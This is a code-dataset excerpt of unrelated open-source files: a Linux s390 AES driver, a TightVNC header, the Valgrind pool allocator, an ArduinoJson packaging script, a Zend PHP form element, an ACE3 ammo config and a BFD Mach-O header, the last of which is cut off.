code
stringlengths 3
1.01M
| repo_name
stringlengths 5
116
| path
stringlengths 3
311
| language
stringclasses 30
values | license
stringclasses 15
values | size
int64 3
1.01M
|
|---|---|---|---|---|---|
/*
* Cryptographic API.
*
* s390 implementation of the AES Cipher Algorithm.
*
* s390 Version:
* Copyright IBM Corp. 2005,2007
* Author(s): Jan Glauber (jang@de.ibm.com)
* Sebastian Siewior (sebastian@breakpoint.cc> SW-Fallback
*
* Derived from "crypto/aes_generic.c"
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
*/
#define KMSG_COMPONENT "aes_s390"
#define pr_fmt(fmt) KMSG_COMPONENT ": " fmt
#include <crypto/aes.h>
#include <crypto/algapi.h>
#include <linux/err.h>
#include <linux/module.h>
#include <linux/init.h>
#include "crypt_s390.h"
#define AES_KEYLEN_128 1
#define AES_KEYLEN_192 2
#define AES_KEYLEN_256 4
static char keylen_flag = 0;
struct s390_aes_ctx {
u8 iv[AES_BLOCK_SIZE];
u8 key[AES_MAX_KEY_SIZE];
long enc;
long dec;
int key_len;
union {
struct crypto_blkcipher *blk;
struct crypto_cipher *cip;
} fallback;
};
/*
* Check if the key_len is supported by the HW.
* Returns 0 if it is, a positive number if it is not and software fallback is
* required or a negative number in case the key size is not valid
*/
static int need_fallback(unsigned int key_len)
{
switch (key_len) {
case 16:
if (!(keylen_flag & AES_KEYLEN_128))
return 1;
break;
case 24:
if (!(keylen_flag & AES_KEYLEN_192))
return 1;
break;
case 32:
if (!(keylen_flag & AES_KEYLEN_256))
return 1;
break;
default:
return -1;
break;
}
return 0;
}
static int setkey_fallback_cip(struct crypto_tfm *tfm, const u8 *in_key,
unsigned int key_len)
{
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
int ret;
sctx->fallback.blk->base.crt_flags &= ~CRYPTO_TFM_REQ_MASK;
sctx->fallback.blk->base.crt_flags |= (tfm->crt_flags &
CRYPTO_TFM_REQ_MASK);
ret = crypto_cipher_setkey(sctx->fallback.cip, in_key, key_len);
if (ret) {
tfm->crt_flags &= ~CRYPTO_TFM_RES_MASK;
tfm->crt_flags |= (sctx->fallback.blk->base.crt_flags &
CRYPTO_TFM_RES_MASK);
}
return ret;
}
static int aes_set_key(struct crypto_tfm *tfm, const u8 *in_key,
unsigned int key_len)
{
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
u32 *flags = &tfm->crt_flags;
int ret;
ret = need_fallback(key_len);
if (ret < 0) {
*flags |= CRYPTO_TFM_RES_BAD_KEY_LEN;
return -EINVAL;
}
sctx->key_len = key_len;
if (!ret) {
memcpy(sctx->key, in_key, key_len);
return 0;
}
return setkey_fallback_cip(tfm, in_key, key_len);
}
static void aes_encrypt(struct crypto_tfm *tfm, u8 *out, const u8 *in)
{
const struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
if (unlikely(need_fallback(sctx->key_len))) {
crypto_cipher_encrypt_one(sctx->fallback.cip, out, in);
return;
}
switch (sctx->key_len) {
case 16:
crypt_s390_km(KM_AES_128_ENCRYPT, &sctx->key, out, in,
AES_BLOCK_SIZE);
break;
case 24:
crypt_s390_km(KM_AES_192_ENCRYPT, &sctx->key, out, in,
AES_BLOCK_SIZE);
break;
case 32:
crypt_s390_km(KM_AES_256_ENCRYPT, &sctx->key, out, in,
AES_BLOCK_SIZE);
break;
}
}
static void aes_decrypt(struct crypto_tfm *tfm, u8 *out, const u8 *in)
{
const struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
if (unlikely(need_fallback(sctx->key_len))) {
crypto_cipher_decrypt_one(sctx->fallback.cip, out, in);
return;
}
switch (sctx->key_len) {
case 16:
crypt_s390_km(KM_AES_128_DECRYPT, &sctx->key, out, in,
AES_BLOCK_SIZE);
break;
case 24:
crypt_s390_km(KM_AES_192_DECRYPT, &sctx->key, out, in,
AES_BLOCK_SIZE);
break;
case 32:
crypt_s390_km(KM_AES_256_DECRYPT, &sctx->key, out, in,
AES_BLOCK_SIZE);
break;
}
}
static int fallback_init_cip(struct crypto_tfm *tfm)
{
const char *name = tfm->__crt_alg->cra_name;
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
sctx->fallback.cip = crypto_alloc_cipher(name, 0,
CRYPTO_ALG_ASYNC | CRYPTO_ALG_NEED_FALLBACK);
if (IS_ERR(sctx->fallback.cip)) {
pr_err("Allocating AES fallback algorithm %s failed\n",
name);
return PTR_ERR(sctx->fallback.blk);
}
return 0;
}
static void fallback_exit_cip(struct crypto_tfm *tfm)
{
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
crypto_free_cipher(sctx->fallback.cip);
sctx->fallback.cip = NULL;
}
static struct crypto_alg aes_alg = {
.cra_name = "aes",
.cra_driver_name = "aes-s390",
.cra_priority = CRYPT_S390_PRIORITY,
.cra_flags = CRYPTO_ALG_TYPE_CIPHER |
CRYPTO_ALG_NEED_FALLBACK,
.cra_blocksize = AES_BLOCK_SIZE,
.cra_ctxsize = sizeof(struct s390_aes_ctx),
.cra_module = THIS_MODULE,
.cra_list = LIST_HEAD_INIT(aes_alg.cra_list),
.cra_init = fallback_init_cip,
.cra_exit = fallback_exit_cip,
.cra_u = {
.cipher = {
.cia_min_keysize = AES_MIN_KEY_SIZE,
.cia_max_keysize = AES_MAX_KEY_SIZE,
.cia_setkey = aes_set_key,
.cia_encrypt = aes_encrypt,
.cia_decrypt = aes_decrypt,
}
}
};
static int setkey_fallback_blk(struct crypto_tfm *tfm, const u8 *key,
unsigned int len)
{
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
unsigned int ret;
sctx->fallback.blk->base.crt_flags &= ~CRYPTO_TFM_REQ_MASK;
sctx->fallback.blk->base.crt_flags |= (tfm->crt_flags &
CRYPTO_TFM_REQ_MASK);
ret = crypto_blkcipher_setkey(sctx->fallback.blk, key, len);
if (ret) {
tfm->crt_flags &= ~CRYPTO_TFM_RES_MASK;
tfm->crt_flags |= (sctx->fallback.blk->base.crt_flags &
CRYPTO_TFM_RES_MASK);
}
return ret;
}
static int fallback_blk_dec(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
unsigned int ret;
struct crypto_blkcipher *tfm;
struct s390_aes_ctx *sctx = crypto_blkcipher_ctx(desc->tfm);
tfm = desc->tfm;
desc->tfm = sctx->fallback.blk;
ret = crypto_blkcipher_decrypt_iv(desc, dst, src, nbytes);
desc->tfm = tfm;
return ret;
}
static int fallback_blk_enc(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
unsigned int ret;
struct crypto_blkcipher *tfm;
struct s390_aes_ctx *sctx = crypto_blkcipher_ctx(desc->tfm);
tfm = desc->tfm;
desc->tfm = sctx->fallback.blk;
ret = crypto_blkcipher_encrypt_iv(desc, dst, src, nbytes);
desc->tfm = tfm;
return ret;
}
static int ecb_aes_set_key(struct crypto_tfm *tfm, const u8 *in_key,
unsigned int key_len)
{
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
int ret;
ret = need_fallback(key_len);
if (ret > 0) {
sctx->key_len = key_len;
return setkey_fallback_blk(tfm, in_key, key_len);
}
switch (key_len) {
case 16:
sctx->enc = KM_AES_128_ENCRYPT;
sctx->dec = KM_AES_128_DECRYPT;
break;
case 24:
sctx->enc = KM_AES_192_ENCRYPT;
sctx->dec = KM_AES_192_DECRYPT;
break;
case 32:
sctx->enc = KM_AES_256_ENCRYPT;
sctx->dec = KM_AES_256_DECRYPT;
break;
}
return aes_set_key(tfm, in_key, key_len);
}
static int ecb_aes_crypt(struct blkcipher_desc *desc, long func, void *param,
struct blkcipher_walk *walk)
{
int ret = blkcipher_walk_virt(desc, walk);
unsigned int nbytes;
while ((nbytes = walk->nbytes)) {
/* only use complete blocks */
unsigned int n = nbytes & ~(AES_BLOCK_SIZE - 1);
u8 *out = walk->dst.virt.addr;
u8 *in = walk->src.virt.addr;
ret = crypt_s390_km(func, param, out, in, n);
BUG_ON((ret < 0) || (ret != n));
nbytes &= AES_BLOCK_SIZE - 1;
ret = blkcipher_walk_done(desc, walk, nbytes);
}
return ret;
}
static int ecb_aes_encrypt(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
struct s390_aes_ctx *sctx = crypto_blkcipher_ctx(desc->tfm);
struct blkcipher_walk walk;
if (unlikely(need_fallback(sctx->key_len)))
return fallback_blk_enc(desc, dst, src, nbytes);
blkcipher_walk_init(&walk, dst, src, nbytes);
return ecb_aes_crypt(desc, sctx->enc, sctx->key, &walk);
}
static int ecb_aes_decrypt(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
struct s390_aes_ctx *sctx = crypto_blkcipher_ctx(desc->tfm);
struct blkcipher_walk walk;
if (unlikely(need_fallback(sctx->key_len)))
return fallback_blk_dec(desc, dst, src, nbytes);
blkcipher_walk_init(&walk, dst, src, nbytes);
return ecb_aes_crypt(desc, sctx->dec, sctx->key, &walk);
}
static int fallback_init_blk(struct crypto_tfm *tfm)
{
const char *name = tfm->__crt_alg->cra_name;
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
sctx->fallback.blk = crypto_alloc_blkcipher(name, 0,
CRYPTO_ALG_ASYNC | CRYPTO_ALG_NEED_FALLBACK);
if (IS_ERR(sctx->fallback.blk)) {
pr_err("Allocating AES fallback algorithm %s failed\n",
name);
return PTR_ERR(sctx->fallback.blk);
}
return 0;
}
static void fallback_exit_blk(struct crypto_tfm *tfm)
{
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
crypto_free_blkcipher(sctx->fallback.blk);
sctx->fallback.blk = NULL;
}
static struct crypto_alg ecb_aes_alg = {
.cra_name = "ecb(aes)",
.cra_driver_name = "ecb-aes-s390",
.cra_priority = CRYPT_S390_COMPOSITE_PRIORITY,
.cra_flags = CRYPTO_ALG_TYPE_BLKCIPHER |
CRYPTO_ALG_NEED_FALLBACK,
.cra_blocksize = AES_BLOCK_SIZE,
.cra_ctxsize = sizeof(struct s390_aes_ctx),
.cra_type = &crypto_blkcipher_type,
.cra_module = THIS_MODULE,
.cra_list = LIST_HEAD_INIT(ecb_aes_alg.cra_list),
.cra_init = fallback_init_blk,
.cra_exit = fallback_exit_blk,
.cra_u = {
.blkcipher = {
.min_keysize = AES_MIN_KEY_SIZE,
.max_keysize = AES_MAX_KEY_SIZE,
.setkey = ecb_aes_set_key,
.encrypt = ecb_aes_encrypt,
.decrypt = ecb_aes_decrypt,
}
}
};
static int cbc_aes_set_key(struct crypto_tfm *tfm, const u8 *in_key,
unsigned int key_len)
{
struct s390_aes_ctx *sctx = crypto_tfm_ctx(tfm);
int ret;
ret = need_fallback(key_len);
if (ret > 0) {
sctx->key_len = key_len;
return setkey_fallback_blk(tfm, in_key, key_len);
}
switch (key_len) {
case 16:
sctx->enc = KMC_AES_128_ENCRYPT;
sctx->dec = KMC_AES_128_DECRYPT;
break;
case 24:
sctx->enc = KMC_AES_192_ENCRYPT;
sctx->dec = KMC_AES_192_DECRYPT;
break;
case 32:
sctx->enc = KMC_AES_256_ENCRYPT;
sctx->dec = KMC_AES_256_DECRYPT;
break;
}
return aes_set_key(tfm, in_key, key_len);
}
static int cbc_aes_crypt(struct blkcipher_desc *desc, long func, void *param,
struct blkcipher_walk *walk)
{
int ret = blkcipher_walk_virt(desc, walk);
unsigned int nbytes = walk->nbytes;
if (!nbytes)
goto out;
memcpy(param, walk->iv, AES_BLOCK_SIZE);
do {
/* only use complete blocks */
unsigned int n = nbytes & ~(AES_BLOCK_SIZE - 1);
u8 *out = walk->dst.virt.addr;
u8 *in = walk->src.virt.addr;
ret = crypt_s390_kmc(func, param, out, in, n);
BUG_ON((ret < 0) || (ret != n));
nbytes &= AES_BLOCK_SIZE - 1;
ret = blkcipher_walk_done(desc, walk, nbytes);
} while ((nbytes = walk->nbytes));
memcpy(walk->iv, param, AES_BLOCK_SIZE);
out:
return ret;
}
static int cbc_aes_encrypt(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
struct s390_aes_ctx *sctx = crypto_blkcipher_ctx(desc->tfm);
struct blkcipher_walk walk;
if (unlikely(need_fallback(sctx->key_len)))
return fallback_blk_enc(desc, dst, src, nbytes);
blkcipher_walk_init(&walk, dst, src, nbytes);
return cbc_aes_crypt(desc, sctx->enc, sctx->iv, &walk);
}
static int cbc_aes_decrypt(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
struct s390_aes_ctx *sctx = crypto_blkcipher_ctx(desc->tfm);
struct blkcipher_walk walk;
if (unlikely(need_fallback(sctx->key_len)))
return fallback_blk_dec(desc, dst, src, nbytes);
blkcipher_walk_init(&walk, dst, src, nbytes);
return cbc_aes_crypt(desc, sctx->dec, sctx->iv, &walk);
}
static struct crypto_alg cbc_aes_alg = {
.cra_name = "cbc(aes)",
.cra_driver_name = "cbc-aes-s390",
.cra_priority = CRYPT_S390_COMPOSITE_PRIORITY,
.cra_flags = CRYPTO_ALG_TYPE_BLKCIPHER |
CRYPTO_ALG_NEED_FALLBACK,
.cra_blocksize = AES_BLOCK_SIZE,
.cra_ctxsize = sizeof(struct s390_aes_ctx),
.cra_type = &crypto_blkcipher_type,
.cra_module = THIS_MODULE,
.cra_list = LIST_HEAD_INIT(cbc_aes_alg.cra_list),
.cra_init = fallback_init_blk,
.cra_exit = fallback_exit_blk,
.cra_u = {
.blkcipher = {
.min_keysize = AES_MIN_KEY_SIZE,
.max_keysize = AES_MAX_KEY_SIZE,
.ivsize = AES_BLOCK_SIZE,
.setkey = cbc_aes_set_key,
.encrypt = cbc_aes_encrypt,
.decrypt = cbc_aes_decrypt,
}
}
};
static int __init aes_s390_init(void)
{
int ret;
if (crypt_s390_func_available(KM_AES_128_ENCRYPT))
keylen_flag |= AES_KEYLEN_128;
if (crypt_s390_func_available(KM_AES_192_ENCRYPT))
keylen_flag |= AES_KEYLEN_192;
if (crypt_s390_func_available(KM_AES_256_ENCRYPT))
keylen_flag |= AES_KEYLEN_256;
if (!keylen_flag)
return -EOPNOTSUPP;
/* z9 109 and z9 BC/EC only support 128 bit key length */
if (keylen_flag == AES_KEYLEN_128)
pr_info("AES hardware acceleration is only available for"
" 128-bit keys\n");
ret = crypto_register_alg(&aes_alg);
if (ret)
goto aes_err;
ret = crypto_register_alg(&ecb_aes_alg);
if (ret)
goto ecb_aes_err;
ret = crypto_register_alg(&cbc_aes_alg);
if (ret)
goto cbc_aes_err;
out:
return ret;
cbc_aes_err:
crypto_unregister_alg(&ecb_aes_alg);
ecb_aes_err:
crypto_unregister_alg(&aes_alg);
aes_err:
goto out;
}
static void __exit aes_s390_fini(void)
{
crypto_unregister_alg(&cbc_aes_alg);
crypto_unregister_alg(&ecb_aes_alg);
crypto_unregister_alg(&aes_alg);
}
module_init(aes_s390_init);
module_exit(aes_s390_fini);
MODULE_ALIAS("aes");
MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm");
MODULE_LICENSE("GPL");
|
embest-tech/rowboat-kernel
|
arch/s390/crypto/aes_s390.c
|
C
|
gpl-2.0
| 13,810
|
// Copyright (C) 2010,2011,2012 GlavSoft LLC.
// All rights reserved.
//
//-------------------------------------------------------------------------
// This file is part of the TightVNC software. Please visit our Web site:
//
// http://www.tightvnc.com/
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//-------------------------------------------------------------------------
//
#ifndef __RELOADCONFIGCOMMAND_H__
#define __RELOADCONFIGCOMMAND_H__
#include "util/Command.h"
#include "ControlProxy.h"
// Command that requests server to reload it configuration from the registry
class ReloadConfigCommand : public Command
{
public:
ReloadConfigCommand(ControlProxy *proxy);
virtual ~ReloadConfigCommand();
private:
virtual void execute();
ControlProxy* m_proxy;
};
#endif // __RELOADCONFIGCOMMAND_H__
|
skbkontur/KonturVNC
|
tvncontrol-app/ReloadConfigCommand.h
|
C
|
gpl-2.0
| 1,555
|
/*------------------------------------------------------------------------*/
/*--- A simple pool (memory) allocator implementation. m_poolalloc.c --- */
/*------------------------------------------------------------------------*/
/*
This file is part of Valgrind, a dynamic binary instrumentation
framework.
Copyright (C) 2011-2015 OpenWorks LLP info@open-works.co.uk,
Philippe Waroquiers philippe.waroquiers@skynet.be
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307, USA.
The GNU General Public License is contained in the file COPYING.
*/
#include "pub_core_basics.h"
#include "pub_core_libcbase.h"
#include "pub_core_libcassert.h"
#include "pub_core_xarray.h"
#include "pub_core_poolalloc.h" /* self */
struct _PoolAlloc {
UWord nrRef; /* nr reference to this pool allocator */
UWord elemSzB; /* element size */
UWord nPerPool; /* # elems per pool */
Alloc_Fn_t alloc_fn; /* pool allocator */
const HChar* cc; /* pool allocator's cost centre */
Free_Fn_t free_fn; /* pool allocator's free-er */
/* XArray of void* (pointers to pools). The pools themselves.
Each element is a pointer to a block of size (elemSzB *
nPerPool) bytes. */
XArray* pools;
/* next free element. Is a pointer to an element in one of the
pools pointed to by .pools */
void* nextFree;
};
PoolAlloc* VG_(newPA) ( UWord elemSzB,
UWord nPerPool,
Alloc_Fn_t alloc_fn,
const HChar* cc,
Free_Fn_t free_fn )
{
PoolAlloc* pa;
vg_assert(0 == (elemSzB % sizeof(UWord)));
vg_assert(elemSzB >= sizeof(UWord));
vg_assert(nPerPool >= 100); /* let's say */
vg_assert(alloc_fn);
vg_assert(cc);
vg_assert(free_fn);
pa = alloc_fn(cc, sizeof(*pa));
VG_(memset)(pa, 0, sizeof(*pa));
pa->nrRef = 0;
pa->elemSzB = elemSzB;
pa->nPerPool = nPerPool;
pa->pools = NULL;
pa->alloc_fn = alloc_fn;
pa->cc = cc;
pa->free_fn = free_fn;
pa->pools = VG_(newXA)( alloc_fn, cc, free_fn, sizeof(void*) );
pa->nextFree = NULL;
return pa;
}
void VG_(deletePA) ( PoolAlloc* pa)
{
Word i;
vg_assert(pa->nrRef == 0);
for (i = 0; i < VG_(sizeXA) (pa->pools); i++)
pa->free_fn (*(UWord **)VG_(indexXA) ( pa->pools, i ));
VG_(deleteXA) (pa->pools);
pa->free_fn (pa);
}
/* The freelist is empty. Allocate a new pool and put all the new
elements in it onto the freelist. */
__attribute__((noinline))
static void pal_add_new_pool ( PoolAlloc* pa )
{
Word i;
UWord* pool;
vg_assert(pa);
vg_assert(pa->nextFree == NULL);
pool = pa->alloc_fn( pa->cc, pa->elemSzB * pa->nPerPool );
/* extend the freelist through the new pool. Place the freelist
pointer in the first word of each element. That's why the
element size must be at least one word. */
for (i = pa->nPerPool-1; i >= 0; i--) {
UChar* elemC = ((UChar*)pool) + i * pa->elemSzB;
UWord* elem = (UWord*)elemC;
vg_assert(0 == (((UWord)elem) % sizeof(UWord)));
*elem = (UWord)pa->nextFree;
pa->nextFree = elem;
}
/* and add to our collection of pools */
VG_(addToXA)( pa->pools, &pool );
}
UWord VG_(sizePA) ( PoolAlloc* pa)
{
vg_assert(pa);
return pa->nPerPool * VG_(sizeXA) (pa->pools);
}
void* VG_(allocEltPA) ( PoolAlloc* pa)
{
UWord* elem;
if (UNLIKELY(pa->nextFree == NULL)) {
pal_add_new_pool(pa);
}
elem = pa->nextFree;
pa->nextFree = (void*)*elem;
*elem = 0; /* unnecessary, but just to be on the safe side */
return elem;
}
void VG_(freeEltPA) ( PoolAlloc* pa, void* p)
{
UWord* elem = (UWord*)p;
*elem = (UWord)pa->nextFree;
pa->nextFree = elem;
}
void VG_(addRefPA) ( PoolAlloc* pa)
{
pa->nrRef++;
}
UWord VG_(releasePA)(PoolAlloc* pa)
{
UWord nrRef;
vg_assert(pa->nrRef > 0);
nrRef = --pa->nrRef;
if (nrRef == 0)
VG_(deletePA)(pa);
return nrRef;
}
|
depressed-pho/valgrind
|
coregrind/m_poolalloc.c
|
C
|
gpl-2.0
| 4,681
|
#!/bin/bash
ZIP="C:\Program Files\7-Zip\7z.exe"
TAG=$(git describe)
OUTPUT="ArduinoJson-$TAG.zip"
cd ..
INPUT=$(find ArduinoJson -regex ".*\.\(cpp\|h\|md\|txt\|ino\)$" -not -regex ".*Tests/.*")
rm -f $OUTPUT
"$ZIP" a $OUTPUT $INPUT
|
ClubCedille/nETSpresso
|
box/libraries/ArduinoJson/BuildArduinoPackage.sh
|
Shell
|
gpl-2.0
| 248
|
<?php
/**
* OX-specific text input.
*/
class OX_UI_Form_Element_Text extends Zend_Form_Element_Text
implements OX_UI_Form_Element_WithAffixes
{
protected $class = "typeText";
protected $_width;
protected $_prefix;
protected $_suffix;
protected $_validationEnabledCallback;
public function init()
{
parent::init();
OX_UI_Form_Element_Widths::addWidthClass($this);
}
public function loadDefaultDecorators()
{
OX_UI_Form_Element_WithAffixesUtils::addAllDecorators($this);
}
public function setWidth($width)
{
$this->_width = $width;
}
public function getWidth()
{
return $this->_width;
}
public function getPrefix()
{
return $this->_prefix;
}
public function setPrefix($prefix)
{
$this->_prefix = $prefix;
}
public function getSuffix()
{
return $this->_suffix;
}
public function setSuffix($suffix)
{
$this->_suffix = $suffix;
}
/**
* <b>Appends</b> a value to the class attribute if the value does not exist there
* yet. This is a bit of a hack: it's easiest to call this method setClass because
* ZF will then handle setting the variables for us.
*/
public function setClass($value)
{
$this->class = OX_UI_Form_Element_Utils::addClass($this->class, $value);
}
public function getValidationEnabledCallback()
{
return $this->_validationEnabledCallback;
}
public function setValidationEnabledCallback(array $callback)
{
$this->_validationEnabledCallback = $callback;
}
/**
* Overridden to support conditional validation.
*/
public function isValid($value, $context = null)
{
if (count($this->_validationEnabledCallback) == 2 && call_user_func($this->_validationEnabledCallback, $value, $context) === false) {
return true;
}
else {
return parent::isValid($value, $context);
}
}
}
|
wassemgtk/OpenX-using-S3-and-CloudFront
|
www/admin/plugins/openXWorkflow/library/OX/UI/Form/Element/Text.php
|
PHP
|
gpl-2.0
| 2,100
|
class CfgAmmo {
// ACE Ballistics
class BulletBase;
class rhs_ammo_792x57_Ball: BulletBase {
ACE_caliber = 8.077;
ACE_bulletLength = 28.651;
ACE_bulletMass = 12.7008;
ACE_ammoTempMuzzleVelocityShifts[] = {-26.55, -25.47, -22.85, -20.12, -16.98, -12.80, -7.64, -1.53, 5.96, 15.17, 26.19};
ACE_ballisticCoefficients[] = {0.315};
ACE_velocityBoundaries[] = {};
ACE_standardAtmosphere = "ASM";
ACE_dragModel = 1;
ACE_muzzleVelocities[] = {785, 800, 815};
ACE_barrelLengths[] = {508.0, 599.948, 660.4};
};
class rhs_B_762x39_Ball;
class rhssaf_ammo_762x39_m82_api: rhs_B_762x39_Ball {
ACE_Caliber = 7.8994;
ACE_bulletMass = 7.6074;
ACE_bulletLength = 27.2796;
ACE_muzzleVelocities[] = {650, 700, 748};
ACE_barrelLengths[] = {206.85, 329.62, 412.75};
};
// ACE Explosives
class DirectionalBombBase;
class rhssaf_mine_mrud_a_ammo: DirectionalBombBase {
ace_explosives_defuseObjectPosition[] = {-0.034, 0, 0.202};
};
class rhssaf_mine_mrud_d_ammo: rhssaf_mine_mrud_a_ammo {
ace_explosives_defuseObjectPosition[] = {0.0325, 0, 0.18};
};
class MineBase;
class rhssaf_mine_pma3_ammo: MineBase {
ace_explosives_defuseObjectPosition[] = {0, 0, 0.025};
};
class rhssaf_mine_tma4_ammo: MineBase {
ace_explosives_defuseObjectPosition[] = {0, 0, 0.045};
};
class PipeBombBase;
class rhssaf_tm100_ammo: PipeBombBase {
ace_explosives_defuseObjectPosition[] = {-0.055, 0, 0.014};
};
class rhssaf_tm200_ammo: rhssaf_tm100_ammo {
ace_explosives_defuseObjectPosition[] = {-0.055, 0, 0.018};
};
class rhssaf_tm500_ammo: rhssaf_tm100_ammo {
ace_explosives_defuseObjectPosition[] = {-0.056, 0, 0.032};
};
};
|
SzwedzikPL/ACE3
|
optionals/compat_rhs_saf3/CfgAmmo.hpp
|
C++
|
gpl-2.0
| 1,867
|
/* Mach-O support for BFD.
Copyright 1999, 2000, 2001, 2002, 2007, 2009
Free Software Foundation, Inc.
This file is part of BFD, the Binary File Descriptor library.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston,
MA 02110-1301, USA. */
/* Define generic entry points here so that we don't need to duplicate the
defines in every target. But define once as this file may be included
several times. */
#ifndef MACH_O_TARGET_COMMON_DEFINED
#define MACH_O_TARGET_COMMON_DEFINED
#define bfd_mach_o_mkarchive _bfd_noarchive_mkarchive
#define bfd_mach_o_read_ar_hdr _bfd_noarchive_read_ar_hdr
#define bfd_mach_o_slurp_armap _bfd_noarchive_slurp_armap
#define bfd_mach_o_slurp_extended_name_table _bfd_noarchive_slurp_extended_name_table
#define bfd_mach_o_construct_extended_name_table _bfd_noarchive_construct_extended_name_table
#define bfd_mach_o_truncate_arname _bfd_noarchive_truncate_arname
#define bfd_mach_o_write_armap _bfd_noarchive_write_armap
#define bfd_mach_o_get_elt_at_index _bfd_noarchive_get_elt_at_index
#define bfd_mach_o_generic_stat_arch_elt _bfd_noarchive_generic_stat_arch_elt
#define bfd_mach_o_update_armap_timestamp _bfd_noarchive_update_armap_timestamp
#define bfd_mach_o_close_and_cleanup _bfd_generic_close_and_cleanup
#define bfd_mach_o_bfd_free_cached_info _bfd_generic_bfd_free_cached_info
#define bfd_mach_o_new_section_hook _bfd_generic_new_section_hook
#define bfd_mach_o_get_section_contents_in_window _bfd_generic_get_section_contents_in_window
#define bfd_mach_o_bfd_is_target_special_symbol ((bfd_boolean (*) (bfd *, asymbol *)) bfd_false)
#define bfd_mach_o_bfd_is_local_label_name bfd_generic_is_local_label_name
#define bfd_mach_o_get_lineno _bfd_nosymbols_get_lineno
#define bfd_mach_o_find_nearest_line _bfd_nosymbols_find_nearest_line
#define bfd_mach_o_find_inliner_info _bfd_nosymbols_find_inliner_info
#define bfd_mach_o_bfd_make_debug_symbol _bfd_nosymbols_bfd_make_debug_symbol
#define bfd_mach_o_read_minisymbols _bfd_generic_read_minisymbols
#define bfd_mach_o_minisymbol_to_symbol _bfd_generic_minisymbol_to_symbol
#define bfd_mach_o_bfd_get_relocated_section_contents bfd_generic_get_relocated_section_contents
#define bfd_mach_o_bfd_relax_section bfd_generic_relax_section
#define bfd_mach_o_bfd_link_hash_table_create _bfd_generic_link_hash_table_create
#define bfd_mach_o_bfd_link_hash_table_free _bfd_generic_link_hash_table_free
#define bfd_mach_o_bfd_link_add_symbols _bfd_generic_link_add_symbols
#define bfd_mach_o_bfd_link_just_syms _bfd_generic_link_just_syms
#define bfd_mach_o_bfd_final_link _bfd_generic_final_link
#define bfd_mach_o_bfd_link_split_section _bfd_generic_link_split_section
#define bfd_mach_o_set_arch_mach bfd_default_set_arch_mach
#define bfd_mach_o_bfd_merge_private_bfd_data _bfd_generic_bfd_merge_private_bfd_data
#define bfd_mach_o_bfd_set_private_flags _bfd_generic_bfd_set_private_flags
#define bfd_mach_o_get_section_contents _bfd_generic_get_section_contents
#define bfd_mach_o_bfd_gc_sections bfd_generic_gc_sections
#define bfd_mach_o_bfd_merge_sections bfd_generic_merge_sections
#define bfd_mach_o_bfd_is_group_section bfd_generic_is_group_section
#define bfd_mach_o_bfd_discard_group bfd_generic_discard_group
#define bfd_mach_o_section_already_linked _bfd_generic_section_already_linked
#define bfd_mach_o_bfd_define_common_symbol bfd_generic_define_common_symbol
#define bfd_mach_o_bfd_copy_private_header_data _bfd_generic_bfd_copy_private_header_data
#define bfd_mach_o_core_file_matches_executable_p generic_core_file_matches_executable_p
#define bfd_mach_o_get_dynamic_symtab_upper_bound bfd_mach_o_get_symtab_upper_bound
#define bfd_mach_o_canonicalize_dynamic_symtab bfd_mach_o_canonicalize_symtab
#define bfd_mach_o_get_synthetic_symtab _bfd_nodynamic_get_synthetic_symtab
#define TARGET_NAME_BACKEND XCONCAT2(TARGET_NAME,_backend)
#endif /* MACH_O_TARGET_COMMON_DEFINED */
#ifndef TARGET_NAME
#error TARGET_NAME must be defined
#endif /* TARGET_NAME */
#ifndef TARGET_STRING
#error TARGET_STRING must be defined
#endif /* TARGET_STRING */
#ifndef TARGET_BIG_ENDIAN
#error TARGET_BIG_ENDIAN must be defined
#endif /* TARGET_BIG_ENDIAN */
#ifndef TARGET_ARCHIVE
#error TARGET_ARCHIVE must be defined
#endif /* TARGET_ARCHIVE */
#if ((TARGET_ARCHIVE) && (! TARGET_BIG_ENDIAN))
